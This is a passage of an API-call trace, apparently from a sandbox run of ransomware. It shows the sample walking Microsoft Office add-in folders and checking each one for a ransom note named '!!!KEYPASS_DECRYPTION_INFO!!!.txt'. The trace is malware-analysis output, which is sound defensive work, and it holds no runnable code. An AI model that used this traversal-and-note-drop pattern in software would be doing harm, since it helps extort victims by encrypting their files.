Integrated\\bin\\Microsoft.Mashup.Document.XmlSerializers.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.689] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Document.XmlSerializers.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.689] GetFileType (hFile=0xfe4) returned 0x1 [0271.690] CloseHandle (hObject=0xfe4) returned 1 [0271.690] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0271.690] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.690] GetLastError () returned 0x3f0 [0271.690] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.690] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.734] GetFileType (hFile=0xfec) returned 0x1 [0271.735] CloseHandle (hObject=0xfec) returned 1 [0271.735] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0271.735] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.735] GetLastError () returned 0x3f0 [0271.735] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.735] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.736] GetFileType (hFile=0xfe8) returned 0x1 [0271.737] CloseHandle (hObject=0xfe8) returned 1 [0271.737] PeekMessageW (in: lpMsg=0x2e4cc08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cc08) returned 0 [0271.737] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.737] GetLastError () returned 0x3f0 [0271.737] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\AdHocReportingExcelClient.dll\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\AdHocReportingExcelClient.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.737] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\AdHocReportingExcelClient.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.738] GetFileType (hFile=0xff0) returned 0x1 [0271.739] CloseHandle (hObject=0xff0) returned 1 [0271.739] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0271.739] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.739] GetLastError () returned 0x3f0 [0271.739] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.739] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.740] GetFileType (hFile=0xff4) returned 0x1 [0271.741] CloseHandle (hObject=0xff4) returned 1 [0271.741] PeekMessageW (in: lpMsg=0x2e4cc08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cc08) returned 0 [0271.741] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.741] GetLastError () returned 0x3f0 [0271.741] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\AdHocReportingExcelClient.dll\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\AdHocReportingExcelClient.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.741] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\AdHocReportingExcelClient.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.741] GetFileType (hFile=0xff8) returned 0x1 [0271.742] CloseHandle (hObject=0xff8) returned 1 [0271.742] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0271.742] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.742] GetLastError () returned 0x3f0 [0271.742] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.742] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.743] GetFileType (hFile=0xffc) returned 0x1 [0271.744] CloseHandle (hObject=0xffc) returned 1 [0271.744] PeekMessageW (in: lpMsg=0x2e4cc08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cc08) returned 0 [0271.744] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.744] GetLastError () returned 0x3f0 [0271.744] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.744] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.745] GetFileType (hFile=0x1004) returned 0x1 [0271.745] CloseHandle (hObject=0x1004) returned 1 [0271.746] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0271.746] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.746] GetLastError () returned 0x3f0 [0271.746] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.746] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.746] GetFileType (hFile=0x1008) returned 0x1 [0271.747] CloseHandle (hObject=0x1008) returned 1 [0271.747] PeekMessageW (in: lpMsg=0x2e4cc08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cc08) returned 0 [0271.747] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.747] GetLastError () returned 0x3f0 [0271.747] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\AdHocReportingExcelClient.dll\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\AdHocReportingExcelClient.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.747] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\AdHocReportingExcelClient.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.747] GetFileType (hFile=0x100c) returned 0x1 [0271.748] CloseHandle (hObject=0x100c) returned 1 [0271.748] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0271.748] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.748] GetLastError () returned 0x3f0 [0271.748] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.748] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.749] GetFileType (hFile=0x1010) returned 0x1 [0271.760] CloseHandle (hObject=0x1010) returned 1 [0271.761] PeekMessageW (in: lpMsg=0x2e4cc08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cc08) returned 0 [0271.761] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.761] GetLastError () returned 0x3f0 [0271.761] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\AdHocReportingExcelClient.dll\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\AdHocReportingExcelClient.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.761] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\AdHocReportingExcelClient.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.761] GetFileType (hFile=0x1014) returned 0x1 [0271.762] CloseHandle (hObject=0x1014) returned 1 [0271.762] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0271.762] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.762] GetLastError () returned 0x3f0 [0271.762] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.762] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.763] GetFileType (hFile=0x101c) returned 0x1 [0271.764] CloseHandle (hObject=0x101c) returned 1 [0271.764] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0271.764] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.764] GetLastError () returned 0x3f0 [0271.764] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.764] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.765] GetFileType (hFile=0x1020) returned 0x1 [0271.766] CloseHandle (hObject=0x1020) returned 1 [0271.766] PeekMessageW (in: lpMsg=0x2e4cc08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cc08) returned 0 [0271.766] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.766] GetLastError () returned 0x3f0 [0271.766] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.766] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.766] GetFileType (hFile=0x1024) returned 0x1 [0271.767] CloseHandle (hObject=0x1024) returned 1 [0271.767] PeekMessageW (in: lpMsg=0x2e4c8b8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4c8b8) returned 0 [0271.767] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.767] GetLastError () returned 0x3f0 [0271.768] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\PowerPivotExcelClientAddIn.rll\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\PowerPivotExcelClientAddIn.rll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.768] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\PowerPivotExcelClientAddIn.rll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.768] GetFileType (hFile=0x1028) returned 0x1 [0271.769] CloseHandle (hObject=0x1028) returned 1 [0271.769] PeekMessageW (in: lpMsg=0x2e4cc08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cc08) returned 0 [0271.769] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.769] GetLastError () returned 0x3f0 [0271.769] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.769] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.770] GetFileType (hFile=0x1018) returned 0x1 [0271.771] CloseHandle (hObject=0x1018) returned 1 [0271.771] PeekMessageW (in: lpMsg=0x2e4c8b8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4c8b8) returned 0 [0271.771] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.771] GetLastError () returned 0x3f0 [0271.771] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\PowerPivotExcelClientAddIn.rll\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\PowerPivotExcelClientAddIn.rll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.771] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\PowerPivotExcelClientAddIn.rll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.772] GetFileType (hFile=0x102c) returned 0x1 [0271.772] CloseHandle (hObject=0x102c) returned 1 [0271.773] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0271.773] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.773] GetLastError () returned 0x3f0 [0271.773] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\cpprestsdk.dll\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\cpprestsdk.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.773] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\cpprestsdk.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.773] GetFileType (hFile=0x1030) returned 0x1 [0271.774] CloseHandle (hObject=0x1030) returned 1 [0271.774] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0271.774] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.774] GetLastError () returned 0x3f0 [0271.774] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\IEAWSDC.DLL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\IEAWSDC.DLL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.774] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\IEAWSDC.DLL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.775] GetFileType (hFile=0x1034) returned 0x1 [0271.776] CloseHandle (hObject=0x1034) returned 1 [0271.776] PeekMessageW (in: 